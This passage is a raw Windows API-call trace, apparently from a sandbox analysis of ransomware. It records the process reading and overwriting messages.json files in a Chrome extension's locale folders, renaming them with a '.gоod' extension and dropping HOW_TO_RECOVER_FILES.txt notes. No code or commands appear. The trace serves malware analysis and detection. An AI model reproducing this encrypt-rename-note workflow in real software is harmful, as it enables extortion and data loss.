GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0240.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.074] GetFileType (hFile=0x860) returned 0x1 [0240.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0240.074] GetFileType (hFile=0x860) returned 0x1 [0240.075] WriteFile (in: hFile=0x860, lpBuffer=0x3998610*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3998610*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0240.076] CloseHandle (hObject=0x860) returned 1 [0240.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpFilePart=0x0) returned 0x7b [0240.079] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0240.080] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.080] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5528e81a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55290ee8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.080] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.080] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0240.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpFilePart=0x0) returned 0x7b [0240.080] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0240.080] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.081] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5528e81a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55290ee8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.081] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5528e81a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55290ee8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.081] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0240.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0240.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39a85e0 | out: lpFileInformation=0x39a85e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5528e81a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55290ee8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1 [0240.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0240.082] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.082] GetFileType (hFile=0x860) returned 0x1 [0240.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.082] GetFileType (hFile=0x860) returned 0x1 [0240.082] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd9 [0240.082] ReadFile (in: hFile=0x860, lpBuffer=0x39a8a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39a8a78*, lpNumberOfBytesRead=0x1f6e7648*=0xd9, lpOverlapped=0x0) returned 1 [0240.083] CloseHandle (hObject=0x860) returned 1 [0240.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.161] GetFileType (hFile=0x860) returned 0x1 [0240.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.161] GetFileType (hFile=0x860) returned 0x1 [0240.161] WriteFile (in: hFile=0x860, lpBuffer=0x3a201f0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3a201f0*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0240.162] CloseHandle (hObject=0x860) returned 1 [0240.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json", lpFilePart=0x0) returned 0x89 [0240.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0240.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5528e81a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55290ee8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8b5b7205, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0240.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0240.162] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.gоod")) returned 1 [0240.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0240.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0240.430] GetFileType (hFile=0x824) returned 0x1 [0240.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0240.430] GetFileType (hFile=0x824) returned 0x1 [0240.430] WriteFile (in: hFile=0x824, lpBuffer=0x373a020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x373a020*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0240.431] CloseHandle (hObject=0x824) returned 1 [0240.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpFilePart=0x0) returned 0x7c [0240.432] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0240.432] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.432] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5529d27e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529f948, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.432] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.432] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0240.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0240.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpFilePart=0x0) returned 0x7c [0240.433] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0240.433] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.433] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5529d27e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529f948, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.433] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5529d27e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529f948, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.433] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0240.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0240.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0240.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0240.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x374a010 | out: lpFileInformation=0x374a010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5529d27e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529f948, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0240.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0240.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json", lpFilePart=0x0) returned 0x8a [0240.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0240.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.434] 